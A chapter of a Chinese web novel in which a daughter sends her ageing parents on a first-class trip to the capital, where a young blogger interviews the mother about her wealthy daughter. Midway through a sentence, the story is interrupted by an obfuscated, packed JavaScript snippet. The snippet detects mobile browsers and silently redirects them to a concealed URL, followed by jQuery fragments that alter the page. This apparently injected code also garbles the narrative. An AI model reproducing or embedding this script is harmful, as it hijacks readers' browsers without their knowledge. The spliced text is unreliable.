潭州这边的大医院，都得提前挂号，顾夭是加了号带着顾爸爸和肖母去做的体检。
两个人的确老了，身体大大小小的有不少毛病。
顾夭看着已经出来的一部分报告，心底又很酸，她偏过头，让两人跟着自己先回家。
一连折腾了一个星期，该找医生调理的找过了，两人精气神也休整的差不多。
但顾夭见两人也是不怎么习惯的，这档小区里跳广场舞的几乎没有，肖母很喜欢跳广场舞在外面逛的人，成天待在家里，又做惯了事情的，时不时就是打扫卫生。
和张姨抢活干，顾夭和他们有时候待在一起也很无聊，她不是那种很能待在父母身边撒娇的人。
问了两人一声想不想出去旅游，就找了个高端伴游，伴游只会带他们两个，不会带其他人，也只是告诉他们一些旅游的景点，带去当地好玩的地方，不会走马观花的让两人赶行程。
肖母和顾爸爸收拾行李的时候，肖母欲言又止。
顾爸爸一直很沉默，手摸了摸口袋，那是他放烟的地方，可现在顾夭管他抽烟管的紧，他早就抽完今天的额度，只能摸一摸解馋。
倒是顾夭先开口打破了沉静：“妈这些年没有怎么出去玩过。爸爸你也只带爷爷出去旅游过，旅游也是逛个几天就回来。现在去首都好好玩玩。哪天不想出去玩，就在酒店里休息，酒店住腻了住民宿也可以。”
“哎！好。”肖母忙应了下来。
她又怯弱的说了一声：“是不是要花很多钱啊？”
像她们，听说过导游团，这种出行就不便宜了，更何况顾夭还是给她们找了一个月的私人伴游，只带着她们两个人玩的。
“我现在有钱，赚的多这些你不用担心。”
下午三点的飞机，晚上五点半就差不多能到首都。
“先吃饭吧，爸妈。”
两人还不习惯有人专门做饭，坐在桌子上，看着五菜一汤，丰盛极了。
顾爸抬头望着顾夭：“夭夭，你是不是怨爸妈啊？”
他们两个学历不高，爷爷奶奶给他们的帮助也少的可怜，生顾夭的时候，连剖腹产的钱都拿不出来。
后面顾夭一直是丢给爷爷奶奶带的，他们两个穷，给家里的钱少，知道爷爷奶奶是怎么对她的。
生下小雨他们三个的时候，渐渐赚到钱了，但是顾夭懂事，一分钱当三分钱花，找工作租房从来没有让他们操过心。
后面，她工作能挣到钱了，家里倒是又不好过了，他们总是找借口让她拿钱出来。
还催婚，催婚的事情也闹了很多次。他们也是知道女儿的抵抗，知道介绍的不算什么很好的人。但也只能催着逼着。
情分好像就这么越来越少。
顾夭认真的打量着爸爸。
他皮肤很黑，明明她们几个儿女都挺白的。
也瘦了很多，像一座大山萎缩了下来。
“吃饭吧，爸爸。”
“妈妈你也吃。”
“出去旅游好好散散心，等你们回来，要做生意我就给你们租个地方做生意。不想做生意，用你们之前的积蓄养轩轩他们几个也行。我给你们在老家起个房子，你们两个好好过。”
“想在潭州住也行，到时候买小叔他们那的房子，你们和奶奶她们当邻居。”
“夭夭。”顾夭看到了肖母微红的眼眶。
她到底是夹了一筷子菜放进妈妈的碗里。
“吃吧！”
“哎！好。”肖母大口的往嘴里扒拉着饭，“夭夭你也吃。”
顾夭一低头，眼泪就砸在了碗里。
*
活到快五十，肖母的出行方式基本上还是火车。
她第一次坐飞机，紧紧跟在顾爸爸后面。
两个人的行李不多，前方顾爸爸推着顾夭给买的26寸行李箱，牵着肖母。
肖母的眼睛都不知道往哪边看，机场的宽敞，还有设施都出乎了她的意料。
她有些兴奋，又有些担心。
“我们走哪边啊？”
“夭宝给买的头等舱，一般头等舱都是有单独通道的。”顾爸爸坐过几次飞机，之前生意做的不错的时候。
“这得多花多少钱啊？”肖母改不了这个习惯。
“没事，夭宝花了应该就是有钱的。”
“你，”肖母嘀咕，“有钱也架不住大手大脚的花钱啊！”
“现在赚钱多难啊！”
“行了。”顾爸爸打断她，
“找找头等舱在哪边走吧？”
“叔，婶，你们也是坐头等舱吗？”一个男声响起。
顾爸爸警惕的看着对方。
拖着灰色行李箱，理着寸头，还戴了耳钉的青年摸了摸头：“叔，我也是坐头等舱的。”
“我们顺路，一起走吧！”
他说着还晃了下手里的机票。
顾爸爸这才点了点头。
男生是个很健谈的人，他又带着笑，就冲淡了身上那在中年夫妇看起来有些离经叛道的元素。
“飞机晚点了一会，叔我们去吃点不？”
“刚吃了饭。”顾爸爸摇头。
男生似乎看穿了顾爸爸的心思，笑道：“这里东西都是免费的，包含在机票里了的。”
“叔你们可能吃了饭，但是免费的零食啊，饮料不喝白不喝啊！”
“真免费的？”肖母问。
男生点了点头，非常的肯定：“婶，信我，我吃过好多回了！”
“包免费的。”
顾爸爸倒是知道飞机上有免费的飞机餐，应了下来。
等两人跟着吃了一圈出来，都有些不敢相信。
那么多吃的，还明显看起来不便宜，就真的随他们拿。
男生比他们吃的多，摸了下肚子有些苦恼：“待会在飞机上肯定吃不下了。不过也没事，飞机上虽然吃的不少，但坐飞机吃东西总觉得没有在下面好吃。”
顾爸爸有体会，点头。
登机时间到了，人流往候机口移动。
青年带着顾爸爸和肖母往贵宾通道走。
在这个过程中，他已经凭借一顿饭和两人熟悉，还叫上了顾叔，肖婶。
贵宾通道没有排队，空姐还在前面带路，说话温温柔柔很好听，肖母转头看那边排队候机的人，他们的位置动都没有动，后面排队的倒是又多了不少。
“我们这边先上飞机，等我们上了，他们那边就可以上了。”青年压低了声音解释。
等上了飞机，肖母左看看右看看，惊讶藏都藏不住。
每一个座椅都是单独的小隔间，都能躺下睡觉了。还有那椅子，那桌子，看起来就高级整洁。
她张了张嘴，不知道说什么。
一个空姐立马就走了过来，询问她是坐哪个位置的，需要喝水吗？还是想喝饮料，还说头等舱有局域网，她有什么想看的电视，可以帮忙搜索。
肖母晕乎乎的被空姐带到位置上，来回看着，只觉得一切都是钱。
还有空姐，都是蹲着问她问题
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403338|164681||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的，搞的她浑身很不自在，但莫名的又有些虚荣的感觉。
握着手机，回空姐的话都是含含糊糊的。
她贫瘠的五十年人生，第一次如此鲜明的感受到人如此服务她。
“我们这里不禁拍照的。您只要注意不拍到其它乘客就好。”空姐仰头对她笑着。
肖母等她走了，就拿出手机，咔擦咔擦拍了好多张。
心怦怦跳的，就是说不出的激动。
之前带路很好说话的青年，忽然坐了过来：“肖婶，我其实是一个自媒体博主，我想了解下坐头等舱的人，之后可能会放在某音上，您愿意抽空和我聊聊吗？”
“啊？”肖母猛地整理了下自己的衣服。
她有些结结巴巴的：“我，我不是很上镜。”
“肖婶，您看起来很年轻，就比我姐大一些。我这不是出门在外习惯喊婶了吗？”哪个女人不喜欢别人夸她们年轻，肖母被哄的眼都眯起来了。
“而且您现在也挺好看的，年轻的时候一定是个大美女。”
“没有没有。”肖母不好意思。
“您要是不想露脸，我到时候也可以给您打码的。”
肖母了解到打码，就是将自己脸遮住，其他人认不出，也就点了点头。
“可以问一下您现在是做什么职业的吗？”
“我。”肖母停顿了一下，“我之前是做生意的。”
“那您和顾叔叔很厉害啊！”
“不不不，”听到青年的恭维，肖母脸上止不住的害臊。
“我和她爸都没有啥本事。”
“做了这么多年生意，还倒过来欠债了。”
青年越听越觉得惊诧，他之前看到这对夫妻没有坐过头等舱，一身打扮也是很寻常，谈吐也不像有钱人的样子。就想采访一下，说不定有大故事。
可现在这对夫妻，欠债的情况下还坐头等舱？
“我没有骗你。我和她爸现在不做生意了。”
“那您们这是？”
“去旅游。我大女儿有出息，她给我们还了欠债。现在还倒过来让我们两口子出去旅游，还说请了个什么私人伴游？”
肖母说起这个，脸上就是止不住的自豪，尤其是在看到青年脸上的震惊时，她话更多了。
私人伴游？涉及到旅游要花的钱可不少，这还请个私人伴游？青年狠狠的被炫到了。
“那能了解下您大女儿是从事什么职业的吗？”
“之前好像是医院宣传的，最近在干什么我也不是很清楚。”
“医院宣传能赚这么多？”青年不信。
“她好像还有什么副业！我大女儿真的很厉害的。她上大学的时候，就有不少副业。”
“前不久她在潭州买房了，大平层，都快赶上我们老家房子那么大了。”
“大平层？”青年略有些破防，就算现在经济下行，可一套大平层有多贵，谁不知道啊？
“那什么小米su7，她给她爸也买了。”
小米su7是贵啊！青年也喜欢，但是按揭也不算什么。
结果一听婶子说的那些配置，全都是顶配，可要29.99万。
也就三十万！潭州偏远地方能付首付了。
“全款买的吧！”肖母想了想，补充道。
全款！！！他彻底破防了。
不羡慕那些凭自己努力走上人生巅峰，也不羡慕坐头等舱的高级打工人，但是这种凭女儿实现美好生活的。
他是真羡慕的眼都红了！